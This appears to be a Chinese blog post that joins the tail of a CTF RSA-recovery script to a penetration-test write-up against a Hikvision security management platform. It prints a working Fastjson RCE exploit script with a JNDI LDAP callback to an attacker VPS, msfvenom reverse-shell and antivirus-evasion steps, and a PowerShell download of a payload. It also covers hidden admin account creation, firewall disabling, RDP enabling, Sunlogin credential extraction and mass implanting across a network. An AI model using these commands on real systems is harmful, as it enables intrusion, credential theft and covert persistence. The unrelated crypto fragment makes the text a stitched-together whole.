7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况,求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

Actual Combat | Lucky Dog

东风不与周郎便,铜雀春深锁二乔。——杜牧《赤壁》

文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。本文请勿转载!
(过程中只用到很简单的方法,也没啥好转载的)

信息搜集

  • 海康威视综合安防平台

    ​​image​​

  • 目录遍历

    ​​image​​

  • 业务登记中心

    ​​image​​

海康威视综合安防管理平台FastjsonRCE(CVE-2023-21839)

海康威视综合安防管理平台存在Fastjson远程命令执行漏洞 - 知乎 (zhihu.com)

# -*- encoding: utf-8 -*-
'''
@File   :   hik_fastjson_rce.py
@Time   :   2023/07/25 11:00:10
@Author :   AndyNoel
@Version:   2.0
'''
import requests
import urllib3
import urllib
import signal
import sys
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type":"application/json",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "cross-site",
    "Te": "trailers",
    "Sec-Fetch-User": "?1",
    "cmd":"whoami"
}
def signal_handler(sig, frame):
    print("\n[!] Ctrl+C detected. Exiting gracefully.")
    sys.exit(0)
def poc(url):
    path = "bic/ssoService/v1/applyCT"
    pocurl = str(url) + path
    data = """
    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
            },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://VPS_IP:1389/Basic/TomcatEcho",
            "autoCommit":true
        },
        "hfe4zyyzldp":"="
    }
    """
    try:
        response = requests.post(url=pocurl, data=data, headers=header, verify=False)
        # print(response.status_code)
        if response.status_code==200:
            print(response.text)
            redata = response.text.encode("utf-8")
            print(redata)
            search_string = "00215000"
            if search_string in str(redata):
                print(f"[+]{url} has the vulnerability\r\n")
            else:
                print(f"[*]{url} doesn't have the vulnerability\r\n")
        else:
            print(f"[*]{url} is not running.\r\n")
    except:
        pass
def read_url(filename):
    urls = []
    with open(filename, "r",encoding='utf-8') as file:
        for url in file:
            urls.append(url.strip())
        url = file.read()
        return urls

if __name__ == '__main__':
    filename = "url.txt"
    signal.signal(signal.SIGINT, signal_handler)
    urls = read_url(filename)
    for url in urls:
        poc(url)

VPS上开JNDIExploit服务

root@ubuntu:~/home/vul# java -jar JNDIExploit-1.4-SNAPSHOT.jar -i VPSIP
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...

​​image

利用成功。

查看进程,修改"cmd":"tasklist"

image

存在McAfee、Windows Defender、CA Internet Security,比较好绕

种马

寻常msfshell会被杀掉,做一下免杀

https://github.com/Anyyy111/killEscaper

测试过,项目挺不错的,但没法过最新版火绒

  • 版本:5.0.73.7 病毒库:2023-08-03 18:33

msfvenom生成shellcode

root@ubuntu:~/home/vul# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP lport=PORT -f python -a x64 > shellcode.txt

然后拷贝至同一目录,运行脚本:

root@ubuntu:~/home/vul# python killEscaper.py -a 64 -f shellcode.txt

image

将马传到vps上,python开启web服务

root@ubuntu:~/home/vul# python -m http.server PORT

或者借用 transfer隐匿VPS

Invoke-WebRequest (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

image

修改脚本:"cmd":"powershell Invoke-WebRequest -Uri https://url/shell.exe -Outfile shell.exe"

执行完成后dir​检查是否被杀掉:

image

shell存在

msf进行监听,反弹shell:

image

反弹成功

net user hask$ w123456! /add                  #添加hacker隐藏用户
net localgroup administrators hask$ /add

开启远程桌面连接

meterpreter > run post/windows/manage/enable_rdp

image

也可以命令行开启

image

出现乱码情况,可以chcp 65001​解决

image

关闭防火墙:

netsh advfirewall set allprofiles state off 
netsh advfirewall set currentprofile state off
netsh advfirewall set privateprofile state on

查看注册表值来确定是否开启远程桌面服务:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

image

image

或者,使用net start​命令,查看服务方式查看远程桌面是否开启

image

通过查看注册表键值确认远程桌面的端口是否为3389

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

​​image​​

(0xd3d是16进制的3389)

直接是SYSTEM​,可以WMIC​开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

image

​修改防火墙配置,使得不过滤3389端口

 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

image

后面记得要改影子账户

Windows下的影子账户创建与防范_是否存在新建用户或者影子用户排查方法_m0_46607055的博客-CSDN博客

读取Sunlogin配置文件

向日葵的几种常见配置文件存储位置:

type C:\Windows\System32\config\systemprofile\AppData\Roaming\Oray\SunloginClient\sys_config.ini
type C:\ProgramData\Oray\SunloginClient\config.ini #绿色版
type C:\Program Files\Oray\SunLogin\SunloginClient\config.ini #安装版

注册表查询

安装版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo

绿色版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

简约版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo

自从向日葵12.5版本后,原encry_pwd和fastcode字段已经不在配置文件config.ini和注册表

  • 解决方案一

    根据分析,关键信息移动至C:\ProgramData\Oray\SunloginClient\sys_config.ini​中

    此配置文件默认需要SYSTEM​权限才可以读取

    提权后拿到id和加密后的密码,经测试算法没变,通过现有项目解密即可 GitHub - wafinfo/Sunflower_get_Password: 一款针对向日葵的识别码和验证码提取工具

  • 解决方案二

    通过dump内存的方式匹配明文字符串获取

    id正则为k[0-9]{8,}密码正则为>[a-z0-9]{6},每次刷新后密码的均会保存在内存中

通过反弹shell执行whoami​直接就是SYSTEM

可以选择方案一

for /r C:/ %i in (sys_config.ini) do @echo %i

​​​image​​​

此外,

image​​

密码明文保存

解密后直接远程连接

​​​image​​

后续

​​image

入侵检测没有检测到

​​image

可以利用软件包管理实现批量上马

​​​image​​​

自此所有机器沦陷